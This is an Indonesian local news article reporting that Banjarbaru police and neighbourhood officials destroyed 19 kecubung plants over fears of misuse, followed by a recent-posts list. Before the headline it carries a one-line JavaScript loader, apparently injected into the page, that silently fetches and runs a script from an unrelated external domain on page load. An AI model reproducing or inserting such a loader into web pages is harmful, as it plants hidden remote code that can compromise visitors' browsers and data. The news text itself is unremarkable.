(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Khawatir Disalahgunakan, Puluhan Batang Tanaman Kecubung di Banjarbaru Dimusnahkan


KANALKALIMANTAN.COM, BANJARBARU – Kepolisian Sektor (Polsek) Banjarbaru Utara bersama pihak kelurahan dan tokoh masyarakat memusnahkan tanaman kecubung yang didapat dari dua lokasi di Kota Banjarbaru, Senin (15/7/2024) pagi.

Sedikitnya ada 19 batang tanaman kecubung yang letaknya satu pohon berada di Kelurahan Loktabat Utara dan 18 batang pohon berlokasi di Kelurahan Guntung Paikat.

Kapolsek Banjarbaru Utara Kompol Yopie Andri Haryono mengungkapkan bahwa satu pohon didapati lengkap dengan bunga dan buah kecubung.

Baca juga: Harga Obat di Indonesia Mahal karena Biaya Gratifikasi Oknum Dokter

Kapolsek Banjarbaru Utara Kompol Yopie Andri Haryono. Foto: Humas Polsek Banjarbaru Utara

“Batang pohon kecubung itu kita cabut dan dimusnahkan dengan cara dibakar di halaman Mapolsek Banjarbaru Utara,” ujar Kapolsek Banjarbaru Utara Kompol Yopie Andri Haryono.

Pemusnahan pohon kecubung ini, kata dia, merupakan respon cepat informasi dari masyarakat melalui Bhabinkamtibmas karena dikhawatirkan terjadi penyalahgunaan.

“Kita imbau kepada masyarakat apabila melihat pohon seperti ini silahkan melapor ke Bhabinkamtibmas ataupun Polsek terdekat,” tuntas Kapolsek.

Baca juga: Cek Kehadiran dan Kerapian Seragam ASN saat Apel Gabungan Pemkab HSU

Sementara itu, Lurah Guntung Paikat, Muhammad Ariffin mengatakan pohon kecubung itu tumbuh di depan salah satu rumah warga dan daunnya sudah lama digunakan sebagai obat.

“Mau tidak mau suka tidak suka kita harus musnahkan, tumbuh liar di pekarangan, bukan ditanam pribadi. Kita tidak tahu berapa lama sudah tertanam tapi infonya sudah lama karena sebelumnya dipotong, tapi tumbuh lagi,” ujar Lurah Guntung Paikat, Muhammad Ariffin.

Dalam pemusnahan ini pula disampaikan imbauan kepada warga terkait efek bahaya dari tanaman yang sedang viral itu.

Baca juga: Dituntut 15 Bulan Penjara, Terdakwa Kasus Dugaan Kekerasan Murid PAUD Banjarmasin Minta Bebas

Kendati demikian katanya, hingga saat ini warga belum ada yang melapor terkait adanya pemakai dari tanaman itu sebab kebanyakan warga telah mengetahui efek sampingnya.

“Yang jelas apabila ada barang atau tanaman kecubung ini cepat laporkan ke kelurahan dan akan kita musnahkan,” tandasnya.(Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie


Muhammad Andi

Recent Posts

Resmi! UMP Kalimantan Timur 2026 Naik 5,12%, Jadi Rp3,76 Juta

Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More

4 jam ago

Tahun Baru Masalah Lama, Banjir Rendam Pemurus Dalam

KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More

19 jam ago

Tanpa Pesta Kembang Api, Puncak Batfest 2025 Meriah Dihentak Musisi Papan Atas

KANALKALIMANTAN.COM, BATULICIN - Meski tanpa pertunjukan pesta kembang api, malam pergantian tahun 2025 ke 2026… Read More

20 jam ago

UMK Banjarbaru Rp3,8 Juta, Lebih Besar dari UMP Kalsel

KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru mengumumkan Upah Minimum Kota (UMK) berdasarkan Keputusan Gubernur… Read More

1 hari ago

Tahun 2026 Bupati Sahrujani Berharap HSU Semakin “Bangkit’” ‎‎

KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Sahrujani mengharapkan agar Kabupaten HSU pada… Read More

1 hari ago

PWI Kalteng Gelar Konferda, PLN UPT Palangkaraya Terima Penghargaan Peduli Pers

KANALKALIMANTAN.COM, PALANGKARAYA - Persatuan Wartawan Indonesia (PWI) Provinsi Kalimantan Tengah menggelar Konferensi Kerja Daerah (Konferda)… Read More

2 hari ago

This website uses cookies.